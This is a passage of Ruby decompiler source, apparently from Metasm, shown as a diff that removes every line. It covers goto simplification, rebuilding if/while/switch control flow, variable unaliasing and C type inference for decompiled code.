} - } - - simpler = lambda { |s| - case s - when C::Goto - if jumpto[s.target] - r = jumpto[s.target].dup - r.value = r.value.deep_dup if r.kind_of? C::Return and r.value.kind_of? C::CExpression - r - end - when C::Return - if not keepret and scope.statements[-1].kind_of? C::Return and s.value == scope.statements[-1].value and s != scope.statements[-1] - C::Goto.new(scope.statements[-2].name) - end - end - } - - walk(scope) { |s| - case s - when C::Block - s.statements.each_with_index { |ss, i| - if sp = simpler[ss] - ss = s.statements[i] = sp - end - } - when C::If - if sp = simpler[s.bthen] - s.bthen = sp - end - end - } - - # remove unreferenced labels - remove_labels(scope) - - walk(scope) { |s| - next if not s.kind_of? C::Block - del = false - # remove dead code goto a; goto b; if (0) { z: bla; } => rm goto b - s.statements.delete_if { |st| - case st - when C::Goto, C::Return - olddel = del - del = true - olddel - else - del = false - end - } - # if () { goto x; } x: - s.statements.each_with_index { |ss, i| - if ss.kind_of? C::If - t = ss.bthen - t = t.statements.first if t.kind_of? C::Block - if t.kind_of? C::Goto and s.statements[i+1].kind_of? C::Label and s.statements[i+1].name == t.target - ss.bthen = C::Block.new(scope) - end - end - } - } - - remove_labels(scope) - end - - # changes ifgoto, goto to while/ifelse.. - def decompile_controlseq(scope) - # TODO replace all this crap by a method using the graph representation - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - # TODO harmonize _if/_while api (if returns a replacement, while patches) - decompile_cseq_while(scope.statements, scope) - decompile_cseq_switch(scope) - end - - # optimize if() { a; } to if() a; - def optimize_ctrl(scope) - simplify_goto(scope, true) - - # break/continue - # XXX if (foo) while (bar) goto bla; bla: should => break - walk = lambda { |e, brk, cnt| - case e - when C::Block - walk[e.statements, brk, cnt] - e - when ::Array - e.each_with_index { |st, i| - case st - when C::While, C::DoWhile - l1 = (e[i+1].name if e[i+1].kind_of? C::Label) - l2 = (e[i-1].name if e[i-1].kind_of? C::Label) - e[i].body = walk[st.body, l1, l2] - else - e[i] = walk[st, brk, cnt] - end - } - e - when C::If - e.bthen = walk[e.bthen, brk, cnt] if e.bthen - e.belse = walk[e.belse, brk, cnt] if e.belse - e - when C::While, C::DoWhile - e.body = walk[e.body, nil, nil] - e - when C::Goto - if e.target == brk - C::Break.new - elsif e.target == cnt - C::Continue.new - else e - end - else e - end - } - walk[scope, nil, nil] - - remove_labels(scope) - - # while (1) { a; if(b) { c; return; }; d; } => while (1) { a; if (b) break; d; } c; - while st = scope.statements.last and st.kind_of? C::While and st.test.kind_of? C::CExpression and - not st.test.op and st.test.rexpr == 1 and st.body.kind_of? C::Block - break if not i = st.body.statements.find { |ist| - ist.kind_of? C::If and not ist.belse and ist.bthen.kind_of? C::Block and ist.bthen.statements.last.kind_of? C::Return - } - walk(i.bthen.statements) { |sst| sst.outer = i.bthen.outer if sst.kind_of? C::Block and sst.outer == i.bthen } - scope.statements.concat i.bthen.statements - i.bthen = C::Break.new - end - - patch_test = lambda { |ce| - ce = ce.rexpr if ce.kind_of? C::CExpression and ce.op == :'!' - # if (a+1) => if (a != -1) - if ce.kind_of? C::CExpression and (ce.op == :+ or ce.op == :-) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and ce.lexpr - ce.rexpr.rexpr = -ce.rexpr.rexpr if ce.op == :+ - ce.op = :'!=' - end - } - - walk(scope) { |ce| - case ce - when C::If - patch_test[ce.test] - if ce.bthen.kind_of? C::Block - case ce.bthen.statements.length - when 1 - walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } - ce.bthen = ce.bthen.statements.first - when 0 - if not ce.belse and i = ce.bthen.outer.statements.index(ce) - ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts - end - end - end - if ce.belse.kind_of? C::Block and ce.belse.statements.length == 1 - walk(ce.belse.statements) { |sst| sst.outer = ce.belse.outer if sst.kind_of? C::Block and sst.outer == ce.belse } - ce.belse = ce.belse.statements.first - end - when C::While, C::DoWhile - patch_test[ce.test] - if ce.body.kind_of? C::Block - case ce.body.statements.length - when 1 - walk(ce.body.statements) { |sst| sst.outer = ce.body.outer if sst.kind_of? C::Block and sst.outer == ce.body } - ce.body = ce.body.statements.first - when 0 - if ce.kind_of? C::DoWhile and i = ce.body.outer.statements.index(ce) - ce = ce.body.outer.statements[i] = C::While.new(ce.test, ce.body) - end - ce.body = nil - end - end - end - } - walk(scope) { |ce| - next if not ce.kind_of? C::Block - st = ce.statements - st.length.times { |n| - while st[n].kind_of? C::If and st[n+1].kind_of? C::If and not st[n].belse and not st[n+1].belse and ( - (st[n].bthen.kind_of? C::Return and st[n+1].bthen.kind_of? C::Return and st[n].bthen.value == st[n+1].bthen.value) or - (st[n].bthen.kind_of? C::Break and st[n+1].bthen.kind_of? C::Break) or - (st[n].bthen.kind_of? C::Continue and st[n+1].bthen.kind_of? C::Continue)) - # if (a) return x; if (b) return x; => if (a || b) return x; - st[n].test = C::CExpression[st[n].test, :'||', st[n+1].test] - st.delete_at(n+1) - end - } - } - end - - # ifgoto => ifthen - # ary is an array of statements where we try to find if () {} [else {}] - # recurses to then/else content - def decompile_cseq_if(ary, scope) - return ary if forbid_decompile_ifwhile - # the array of decompiled statements to use as replacement - ret = [] - # list of labels appearing in ary - inner_labels = ary.grep(C::Label).map { |l| l.name } - while s = ary.shift - # recurse if it's not the first run - if s.kind_of? C::If - s.bthen.statements = decompile_cseq_if(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - s.belse.statements = decompile_cseq_if(s.belse.statements, s.belse) if s.belse.kind_of? C::Block - end - - # if (a) goto x; if (b) goto x; => if (a || b) goto x; - while s.kind_of? C::If and s.bthen.kind_of? C::Goto and not s.belse and ary.first.kind_of? C::If and ary.first.bthen.kind_of? C::Goto and - not ary.first.belse and s.bthen.target == ary.first.bthen.target - s.test = C::CExpression[s.test, :'||', ary.shift.test] - end - - # if (a) goto x; b; x: => if (!a) { b; } - if s.kind_of? C::If and s.bthen.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == s.bthen.target } - # if {goto l;} a; l: => if (!) {a;} - s.test = C::CExpression.negate s.test - s.bthen = C::Block.new(scope) - s.bthen.statements = decompile_cseq_if(ary[0..ary.index(l)], s.bthen) - s.bthen.statements.pop # remove l: from bthen, it is in ary (was needed in bthen for inner ifs) - ary[0...ary.index(l)] = [] - end - - if s.kind_of? C::If and (s.bthen.kind_of? C::Block or s.bthen.kind_of? C::Goto) - s.bthen = C::Block.new(scope, [s.bthen]) if s.bthen.kind_of? C::Goto - - bts = s.bthen.statements - - # if (a) if (b) { c; } => if (a && b) { c; } - if bts.length == 1 and bts.first.kind_of? C::If and not bts.first.belse - s.test = C::CExpression[s.test, :'&&', bts.first.test] - bts = bts.first.bthen - bts = s.bthen.statements = bts.kind_of?(C::Block) ? bts.statements : [bts] - end - - # if (a) { if (b) goto c; d; } c: => if (a && !b) { d; } - if bts.first.kind_of? C::If and l = bts.first.bthen and (l = l.kind_of?(C::Block) ? l.statements.first : l) and l.kind_of? C::Goto and ary[0].kind_of? C::Label and l.target == ary[0].name - s.test = C::CExpression[s.test, :'&&', C::CExpression.negate(bts.first.test)] - if e = bts.shift.belse - bts.unshift e - end - end - - # if () { goto a; } a: - if bts.last.kind_of? C::Goto and ary[0].kind_of? C::Label and bts.last.target == ary[0].name - bts.pop - end - - # if { a; goto outer; } b; return; => if (!) { b; return; } a; goto outer; - if bts.last.kind_of? C::Goto and not inner_labels.include? bts.last.target and g = ary.find { |ss| ss.kind_of? C::Goto or ss.kind_of? C::Return } and g.kind_of? C::Return - s.test = C::CExpression.negate s.test - ary[0..ary.index(g)], bts[0..-1] = bts, ary[0..ary.index(g)] - end - - # if { a; goto l; } b; l: => if {a;} else {b;} - if bts.last.kind_of? C::Goto and l = ary.grep(C::Label).find { |l_| l_.name == bts.last.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(l)], s.belse) - ary[0...ary.index(l)] = [] - bts.pop - end - - # if { a; l: b; goto any;} c; goto l; => if { a; } else { c; } b; goto any; - if not s.belse and (bts.last.kind_of? C::Goto or bts.last.kind_of? C::Return) and g = ary.grep(C::Goto).first and l = bts.grep(C::Label).find { |l_| l_.name == g.target } - s.belse = C::Block.new(scope) - s.belse.statements = decompile_cseq_if(ary[0...ary.index(g)], s.belse) - ary[0..ary.index(g)], bts[bts.index(l)..-1] = bts[bts.index(l)..-1], [] - end - - # if { a; b; c; } else { d; b; c; } => if {a;} else {d;} b; c; - if s.belse - bes = s.belse.statements - while not bts.empty? - if bts.last.kind_of? C::Label; ary.unshift bts.pop - elsif bes.last.kind_of? C::Label; ary.unshift bes.pop - elsif bts.last.to_s == bes.last.to_s; ary.unshift bes.pop ; bts.pop - else break - end - end - - # if () { a; } else { b; } => if () { a; } else b; - # if () { a; } else {} => if () { a; } - case bes.length - when 0; s.belse = nil - #when 1; s.belse = bes.first - end - end - - # if () {} else { a; } => if (!) { a; } - # if () { a; } => if () a; - case bts.length - when 0; s.test, s.bthen, s.belse = C::CExpression.negate(s.test), s.belse, nil if s.belse - #when 1; s.bthen = bts.first # later (allows simpler handling in _while) - end - end - - # l1: l2: if () goto l1; goto l2; => if(!) goto l2; goto l1; - if s.kind_of? C::If - ls = s.bthen - ls = ls.statements.last if ls.kind_of? C::Block - if ls.kind_of? C::Goto - if li = inner_labels.index(ls.target) - table = inner_labels - else - table = ary.map { |st| st.name if st.kind_of? C::Label }.compact.reverse - li = table.index(ls.target) || table.length - end - g = ary.find { |ss| - break if ss.kind_of? C::Return - next if not ss.kind_of? C::Goto - table.index(ss.target).to_i > li - } - if g - s.test = C::CExpression.negate s.test - if not s.bthen.kind_of? C::Block - ls = C::Block.new(scope) - ls.statements << s.bthen - s.bthen = ls - end - ary[0..ary.index(g)], s.bthen.statements = s.bthen.statements, decompile_cseq_if(ary[0..ary.index(g)], scope) - end - end - end - - ret << s - end - ret - end - - def decompile_cseq_while(ary, scope) - return if forbid_decompile_ifwhile - - # find the next instruction that is not a label - ni = lambda { |l| ary[ary.index(l)..-1].find { |s| not s.kind_of? C::Label } } - - # TODO XXX get rid of #index - finished = false ; while not finished ; finished = true # 1.9 does not support 'retry' - ary.each { |s| - case s - when C::Label - if ss = ni[s] and ss.kind_of? C::If and not ss.belse and ss.bthen.kind_of? C::Block - if ss.bthen.statements.last.kind_of? C::Goto and ss.bthen.statements.last.target == s.name - ss.bthen.statements.pop - if l = ary[ary.index(ss)+1] and l.kind_of? C::Label - ss.bthen.statements.grep(C::If).each { |i| - i.bthen = C::Break.new if i.bthen.kind_of? C::Goto and i.bthen.target == l.name - } - end - ary[ary.index(ss)] = C::While.new(ss.test, ss.bthen) - elsif ss.bthen.statements.last.kind_of? C::Return and g = ary[ary.index(s)+1..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(ss)+1...ary.index(g)], wb) - w = C::While.new(C::CExpression.negate(ss.test), wb) - ary[ary.index(ss)..ary.index(g)] = [w, *ss.bthen.statements] - finished = false ; break #retry - end - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::Goto and _s.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::While.new(C::CExpression[1], wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - if g = ary[ary.index(s)..-1].reverse.find { |_s| _s.kind_of? C::If and not _s.belse and gt = _s.bthen and - (gt = gt.kind_of?(C::Block) && gt.statements.length == 1 ? gt.statements.first : gt) and gt.kind_of? C::Goto and gt.target == s.name } - wb = C::Block.new(scope) - wb.statements = decompile_cseq_while(ary[ary.index(s)...ary.index(g)], wb) - w = C::DoWhile.new(g.test, wb) - ary[ary.index(s)..ary.index(g)] = [w] - finished = false ; break #retry - end - when C::If - decompile_cseq_while(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - decompile_cseq_while(s.belse.statements, s.belse) if s.belse.kind_of? C::Block - when C::While, C::DoWhile - decompile_cseq_while(s.body.statements, s.body) if s.body.kind_of? C::Block - end - } - end - ary - end - - # TODO - def decompile_cseq_switch(scope) - uncast = lambda { |e| e = e.rexpr while e.kind_of? C::CExpression and not e.op ; e } - walk(scope) { |s| - # XXX pfff... - next if not s.kind_of? C::If - # if (v < 12) return ((void(*)())(tableaddr+4*v))(); - t = s.bthen - t = t.statements.first if t.kind_of? C::Block and t.statements.length == 1 - next if not t.kind_of? C::Return or not t.respond_to? :from_instr - next if t.from_instr.comment.to_a.include? 'switch' - next if not t.value.kind_of? C::CExpression or t.value.op != :funcall or t.value.rexpr != [] or not t.value.lexpr.kind_of? C::CExpression or t.value.lexpr.op - p = uncast[t.value.lexpr.rexpr] - next if not p.kind_of? C::CExpression or p.op != :* or p.lexpr - p = uncast[p.rexpr] - next if not p.kind_of? C::CExpression or p.op != :+ - r, l = uncast[p.rexpr], uncast[p.lexpr] - r, l = l, r if r.kind_of? C::CExpression - next if not r.kind_of? ::Integer or not l.kind_of? C::CExpression or l.op != :* or not l.lexpr - lr, ll = uncast[l.rexpr], uncast[l.lexpr] - lr, ll = ll, lr if not ll.kind_of? ::Integer - next if ll != sizeof(nil, C::Pointer.new(C::BaseType.new(:void))) - base, index = r, lr - if s.test.kind_of? C::CExpression and (s.test.op == :<= or s.test.op == :<) and s.test.lexpr == index and - s.test.rexpr.kind_of? C::CExpression and not s.test.rexpr.op and s.test.rexpr.rexpr.kind_of? ::Integer - t.from_instr.add_comment 'switch' - sup = s.test.rexpr.rexpr - rng = ((s.test.op == :<) ? (0...sup) : (0..sup)) - from = t.from_instr.address - rng.map { |i| @dasm.backtrace(Indirection[base+ll*i, ll, from], from, :type => :x, :origin => from, :maxdepth => 0) } - @dasm.disassemble - throw :restart, :restart - end - puts "unhandled switch() at #{t.from_instr}" if $VERBOSE - } - end - - # remove unused labels - def remove_labels(scope) - return if forbid_optimize_labels - - used = [] - walk(scope) { |ss| - used |= [ss.target] if ss.kind_of? C::Goto - } - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.delete_if { |l| - l.kind_of? C::Label and not used.include? l.name - } - } - - # remove implicit continue; at end of loop - walk(scope) { |s| - next if not s.kind_of? C::While - if s.body.kind_of? C::Block and s.body.statements.last.kind_of? C::Continue - s.body.statements.pop - end - } - end - - # checks if expr is a var (var or *&var) - def isvar(ce, var) - if var.stackoff and ce.kind_of? C::CExpression - return unless ce.op == :* and not ce.lexpr - ce = ce.rexpr - ce = ce.rexpr while ce.kind_of? C::CExpression and not ce.op - return unless ce.kind_of? C::CExpression and ce.op == :& and not ce.lexpr - ce = ce.rexpr - end - ce == var - end - - # checks if expr reads var - def ce_read(ce_, var) - isvar(ce_, var) or - walk_ce(ce_) { |ce| - case ce.op - when :funcall; break true if isvar(ce.lexpr, var) or ce.rexpr.find { |a| isvar(a, var) } - when :'='; break true if isvar(ce.rexpr, var) - break ce_read(ce.rexpr, var) if isvar(ce.lexpr, var) # *&var = 2 - else break true if isvar(ce.lexpr, var) or isvar(ce.rexpr, var) - end - } - end - - # checks if expr writes var - def ce_write(ce_, var) - walk_ce(ce_) { |ce| - break true if AssignOp.include?(ce.op) and (isvar(ce.lexpr, var) or - (((ce.op == :'++' or ce.op == :'--') and isvar(ce.rexpr, var)))) - } - end - - # patches a set of exprs, replacing oldce by newce - def ce_patch(exprs, oldce, newce) - walk_ce(exprs) { |ce| - case ce.op - when :funcall - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr.each_with_index { |a, i| ce.rexpr[i] = newce if a == oldce } - else - ce.lexpr = newce if ce.lexpr == oldce - ce.rexpr = newce if ce.rexpr == oldce - end - } - end - - - # duplicate vars per domain value - # eg eax = 1; foo(eax); eax = 2; bar(eax); => eax = 1; foo(eax) eax_1 = 2; bar(eax_1); - # eax = 1; if (bla) eax = 2; foo(eax); => no change - def unalias_vars(scope, func) - g = c_to_graph(scope) - - # unalias func args first, they may include __attr__((out)) needed by the others - funcalls = [] - walk_ce(scope) { |ce| funcalls << ce if ce.op == :funcall } - vars = scope.symbol.values.sort_by { |v| walk_ce(funcalls) { |ce| break true if ce.rexpr == v } ? 0 : 1 } - - # find the domains of var aliases - vars.each { |var| unalias_var(var, scope, g) } - end - - # duplicates a var per domain value - def unalias_var(var, scope, g = c_to_graph(scope)) - # [label, index] of references to var (reading it, writing it, ro/wo it (eg eax = *eax => eax_0 = *eax_1)) - read = {} - write = {} - ro = {} - wo = {} - - # list of [l, i] for which domain is not known - unchecked = [] - - # mark all exprs of the graph - # TODO handle var_14 __attribute__((out)) = &curvar <=> curvar write - r = var.has_attribute_var('register') - g.exprs.each { |label, exprs| - exprs.each_with_index { |ce, i| - if ce_read(ce, var) - if (ce.op == :'=' and isvar(ce.lexpr, var) and not ce_write(ce.rexpr, var)) or - (ce.op == :funcall and r and not ce_write(ce.lexpr, var) and not ce_write(ce.rexpr, var) and @dasm.cpu.abi_funcall[:changed].include?(r.to_sym)) - (ro[label] ||= []) << i - (wo[label] ||= []) << i - unchecked << [label, i, :up] << [label, i, :down] - else - (read[label] ||= []) << i - unchecked << [label, i] - end - elsif ce_write(ce, var) - (write[label] ||= []) << i - unchecked << [label, i] - end - } - } - - # stuff when filling the domain (flood algorithm) - dom = dom_ro = dom_wo = todo_up = todo_down = func_top = nil - - # flood by walking the graph up from [l, i] (excluded) - # marks stuff do walk down - walk_up = lambda { |l, i| - todo_w = [[l, i-1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - # XXX not optimal (should mark only the uppest read) - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - todo_down |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - break - elsif wo[l].to_a.include? i - todo_down |= [[l, i]] if not dom_wo.include? [l, i, :down] - dom_wo |= [[l, i, :down]] - break - end - i -= 1 - if i < 0 - g.from_optim[l].to_a.each { |ll| - todo_w << [ll, g.exprs[ll].to_a.length-1] - } - func_top = true if g.from_optim[l].to_a.empty? - break - end - end - end - } - - # flood by walking the graph down from [l, i] (excluded) - # malks stuff to walk up - walk_down = lambda { |l, i| - todo_w = [[l, i+1]] - done_w = [] - while o = todo_w.pop - next if done_w.include? o - done_w << o - l, i = o - loop do - if read[l].to_a.include? i - todo_up |= [[l, i]] if not dom.include? [l, i] - dom |= [[l, i]] - elsif write[l].to_a.include? i - break - elsif ro[l].to_a.include? i - todo_up |= [[l, i]] if not dom_ro.include? [l, i, :up] - dom_ro |= [[l, i, :up]] - break - end - i += 1 - if i >= g.exprs[l].to_a.length - g.to_optim[l].to_a.each { |ll| - todo_w << [ll, 0] - } - break - end - end - end - } - - # check it out - while o = unchecked.shift - dom = [] - dom_ro = [] - dom_wo = [] - func_top = false - - todo_up = [] - todo_down = [] - - # init - if read[o[0]].to_a.include? o[1] - todo_up << o - todo_down << o - dom << o - elsif write[o[0]].to_a.include? o[1] - todo_down << o - dom << o - elsif o[2] == :up - todo_up << o - dom_ro << o - elsif o[2] == :down - todo_down << o - dom_wo << o - else raise - end - - # loop - while todo_up.first or todo_down.first - todo_up.each { |oo| walk_up[oo[0], oo[1]] } - todo_up.clear - - todo_down.each { |oo| walk_down[oo[0], oo[1]] } - todo_down.clear - end - - unchecked -= dom + dom_wo + dom_ro - - next if func_top - - # patch - n_i = 0 - n_i += 1 while scope.symbol_ancestors[newvarname = "#{var.name}_a#{n_i}"] - - nv = var.dup - nv.storage = :register if nv.has_attribute_var('register') - nv.attributes = nv.attributes.dup if nv.attributes - nv.name = newvarname - scope.statements << C::Declaration.new(nv) - scope.symbol[nv.name] = nv - - dom.each { |oo| ce_patch(g.exprs[oo[0]][oo[1]], var, nv) } - dom_ro.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall or ce.rexpr.kind_of? C::CExpression - ce_patch(ce.rexpr, var, nv) - else - ce.rexpr = nv - end - } - dom_wo.each { |oo| - ce = g.exprs[oo[0]][oo[1]] - if ce.op == :funcall - elsif ce.lexpr.kind_of? C::CExpression - ce_patch(ce.lexpr, var, nv) - else - ce.lexpr = nv - end - } - - # check if the var is only used as an __out__ parameter - if false and dom_ro.empty? and dom_wo.empty? and dom.length == 2 and # TODO - arg.has_attribute('out') and not arg.has_attribute('in') - # *(int32*)&var_10 = &var_4; - # set_pointed_value(*(int32*)&var_10); => writeonly var_4, may start a new domain - nv.add_attribute('out') - end - end - end - - # revert the unaliasing namechange of vars where no alias subsists - def simplify_varname_noalias(scope) - names = scope.symbol.keys - names.delete_if { |k| - next if not b = k[/^(.*)_a\d+$/, 1] - next if scope.symbol[k].stackoff.to_i > 0 - if not names.find { |n| n != k and (n == b or n[/^(.*)_a\d+$/, 1] == b) } - scope.symbol[b] = scope.symbol.delete(k) - scope.symbol[b].name = b - end - } - end - - # patch scope to transform :frameoff-x into &var_x - def namestackvars(scope) - off2var = {} - newvar = lambda { |o, n| - if not v = off2var[o] - v = off2var[o] = C::Variable.new - v.type = C::BaseType.new(:void) - v.name = n - v.stackoff = o - scope.symbol[v.name] = v - scope.statements << C::Declaration.new(v) - end - v - } - - scope.decompdata[:stackoff_name].each { |o, n| newvar[o, n] } - scope.decompdata[:stackoff_type].each { |o, t| newvar[o, stackoff_to_varname(o)] } - - walk_ce(scope) { |e| - next if e.op != :+ and e.op != :- - next if not e.lexpr.kind_of? C::Variable or e.lexpr.name != 'frameptr' - next if not e.rexpr.kind_of? C::CExpression or e.rexpr.op or not e.rexpr.rexpr.kind_of? ::Integer - off = e.rexpr.rexpr - off = -off if e.op == :- - v = newvar[off, stackoff_to_varname(off)] - e.replace C::CExpression[:&, v] - } - end - - # assign type to vars (regs, stack & global) - # types are found by subfunction argument types & indirections, and propagated through assignments etc - # TODO when updating the type of a var, update the type of all cexprs where it appears - def decompile_c_types(scope) - return if forbid_decompile_types - - # TODO *(int8*)(ptr+8); *(int32*)(ptr+12) => automatic struct - - # name => type - types = {} - - pscopevar = lambda { |e| - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.rexpr.kind_of? C::CExpression - if e.kind_of? C::CExpression and e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable - e.rexpr.name if scope.symbol[e.rexpr.name] - end - } - scopevar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? C::Variable and scope.symbol[e.name] - e.name - elsif e.kind_of? C::CExpression and e.op == :* and not e.lexpr - pscopevar[e.rexpr] - end - } - globalvar = lambda { |e| - e = e.rexpr if e.kind_of? C::CExpression and not e.op - if e.kind_of? ::Integer and @dasm.get_section_at(e) - e - elsif e.kind_of? C::Variable and not scope.symbol[e.name] and @c_parser.toplevel.symbol[e.name] and @dasm.get_section_at(e.name) - e.name - end - } - - # check if a newly found type for o is better than current type - # order: foo* > void* > foo - better_type = lambda { |t0, t1| - t1 == C::BaseType.new(:void) or (t0.pointer? and t1.kind_of? C::BaseType) or t0.untypedef.kind_of? C::Union or - (t0.kind_of? C::BaseType and t1.kind_of? C::BaseType and (@c_parser.typesize[t0.name] > @c_parser.typesize[t1.name] or (t0.name == t1.name and t0.qualifier))) or - (t0.pointer? and t1.pointer? and better_type[t0.pointed, t1.pointed]) - } - - update_global_type = lambda { |e, t| - if ne = new_global_var(e, t, scope) - ne.type = t if better_type[t, ne.type] # TODO patch existing scopes using ne - # TODO rename (dword_xx -> byte_xx etc) - e = scope.symbol_ancestors[e] || e if e.kind_of? String # exe reloc - walk_ce(scope) { |ce| - ce.lexpr = ne if ce.lexpr == e - ce.rexpr = ne if ce.rexpr == e - if ce.op == :* and not ce.lexpr and ce.rexpr == ne and ne.type.pointer? and ne.type.pointed.untypedef.kind_of? C::Union - # *struct -> struct->bla - ce.rexpr = structoffset(ne.type.pointed.untypedef, ce.rexpr, 0, sizeof(ce.type)) - elsif ce.lexpr == ne or ce.rexpr == ne - # set ce type according to l/r - # TODO set ce.parent type etc - ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type - end - } - end - } - - propagate_type = nil # fwd declaration - propagating = [] # recursion guard (x = &x) - # check if need to change the type of a var - # propagate_type if type is updated - update_type = lambda { |n, t| - next if propagating.include? n - o = scope.symbol[n].stackoff - next if not o and t.untypedef.kind_of? C::Union - next if o and scope.decompdata[:stackoff_type][o] and t != scope.decompdata[:stackoff_type][o] - next if t0 = types[n] and not better_type[t, t0] - next if o and (t.integral? or t.pointer?) and o % sizeof(t) != 0 # keep vars aligned - types[n] = t - next if t == t0 - propagating << n - propagate_type[n, t] - propagating.delete n - next if not o - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |m| - mo = t.offsetof(@c_parser, m.name) - next if mo == 0 - scope.symbol.each { |vn, vv| - update_type[vn, m.type] if vv.stackoff == o+mo - } - } - end - } - - # try to update the type of a var from knowing the type of an expr (through dereferences etc) - known_type = lambda { |e, t| - loop do - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.type == t - if o = scopevar[e] - update_type[o, t] - elsif o = globalvar[e] - update_global_type[o, t] - elsif not e.kind_of? C::CExpression - elsif o = pscopevar[e] and t.pointer? - update_type[o, t.pointed] - elsif e.op == :* and not e.lexpr - e = e.rexpr - t = C::Pointer.new(t) - next - elsif t.pointer? and e.op == :+ and e.lexpr.kind_of? C::CExpression and e.lexpr.type.integral? and e.rexpr.kind_of? C::Variable - e.lexpr, e.rexpr = e.rexpr, e.lexpr - next - elsif e.op == :+ and e.lexpr and e.rexpr.kind_of? C::CExpression - if not e.rexpr.op and e.rexpr.rexpr.kind_of? ::Integer - if t.pointer? and e.rexpr.rexpr < 0x1000 and (e.rexpr.rexpr % sizeof(t.pointed)) == 0 # XXX relocatable + base=0.. - e = e.lexpr # (int)*(x+2) === (int) *x - next - elsif globalvar[e.rexpr.rexpr] - known_type[e.lexpr, C::BaseType.new(:int)] - e = e.rexpr - next - end - elsif t.pointer? and (e.lexpr.kind_of? C::CExpression and e.lexpr.lexpr and [:<<, :>>, :*, :&].include? e.lexpr.op) or - (o = scopevar[e.lexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.rexpr] and types[o] and types[o].integral?)) - e.lexpr, e.rexpr = e.rexpr, e.lexpr # swap - e = e.lexpr - next - elsif t.pointer? and ((e.rexpr.kind_of? C::CExpression and e.rexpr.lexpr and [:<<, :>>, :*, :&].include? e.rexpr.op) or - (o = scopevar[e.rexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.lexpr] and types[o] and types[o].integral?))) - e = e.lexpr - next - end - end - break - end - } - - # we found a type for a var, propagate it through affectations - propagate_type = lambda { |var, type| - walk_ce(scope) { |ce| - next if ce.op != :'=' - - if ce.lexpr.kind_of? C::Variable and ce.lexpr.name == var - known_type[ce.rexpr, type] - next - end - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == var - known_type[ce.lexpr, type] - next - end - - # int **x; y = **x => int y - t = type - l = ce.lexpr - while l.kind_of? C::CExpression and l.op == :* and not l.lexpr - if var == pscopevar[l.rexpr] - known_type[ce.rexpr, t] - break - elsif t.pointer? - l = l.rexpr - t = t.pointed - else break - end - end - - # int **x; **x = y => int y - t = type - r = ce.rexpr - while r.kind_of? C::CExpression and r.op == :* and not r.lexpr - if var == pscopevar[r.rexpr] - known_type[ce.lexpr, t] - break - elsif t.pointer? - r = r.rexpr - t = t.pointed - else break - end - end - - # TODO int *x; *x = *y; ? - } - } - - # put all those macros in use - # use user-defined types first - scope.symbol.each_value { |v| - next if not v.kind_of? C::Variable or not v.stackoff or not t = scope.decompdata[:stackoff_type][v.stackoff] - known_type[v, t] - } - - # try to infer types from C semantics - later = [] - walk_ce(scope) { |ce| - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and (ce.rexpr.op == :funcall or (ce.rexpr.op == nil and ce.rexpr.rexpr.kind_of? ::Integer and - ce.rexpr.rexpr.abs < 0x10000 and (not ce.lexpr.kind_of? C::CExpression or ce.lexpr.op != :'*' or ce.lexpr.lexpr))) - # var = int - known_type[ce.lexpr, ce.rexpr.type] - elsif ce.op == :funcall - f = ce.lexpr.type - f = f.pointed if f.pointer? - next if not f.kind_of? C::Function - # cast func args to arg prototypes - f.args.to_a.zip(ce.rexpr).each_with_index { |(proto, arg), i| ce.rexpr[i] = C::CExpression[arg, proto.type] ; known_type[arg, proto.type] } - elsif ce.op == :* and not ce.lexpr - if e = ce.rexpr and e.kind_of? C::CExpression and not e.op and e = e.rexpr and e.kind_of? C::CExpression and - e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable and e.rexpr.stackoff - # skip *(__int32*)&var_12 for now, avoid saying var12 is an int if it may be a ptr or anything - later << [ce.rexpr, C::Pointer.new(ce.type)] - next - end - known_type[ce.rexpr, C::Pointer.new(ce.type)] - elsif not ce.op and ce.type.pointer? and ce.type.pointed.kind_of? C::Function - # cast to fptr: must be a fptr - known_type[ce.rexpr, ce.type] - end - } - - later.each { |ce, t| known_type[ce, t] } - - # offsets have types now - types.each { |v, t| - # keep var type qualifiers - q = scope.symbol[v].type.qualifier - scope.symbol[v].type = t - t.qualifier = q if q - } - - - # remove offsets to struct members - # XXX this defeats antialiasing - # off => [structoff, membername, membertype] - memb = {} - types.dup.each { |n, t| - v = scope.symbol[n] - next if not o = v.stackoff - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |tm| - moff = t.offsetof(@c_parser, tm.name) - next if moff == 0 - types.delete_if { |vv, tt| scope.symbol[vv].stackoff == o+moff } - 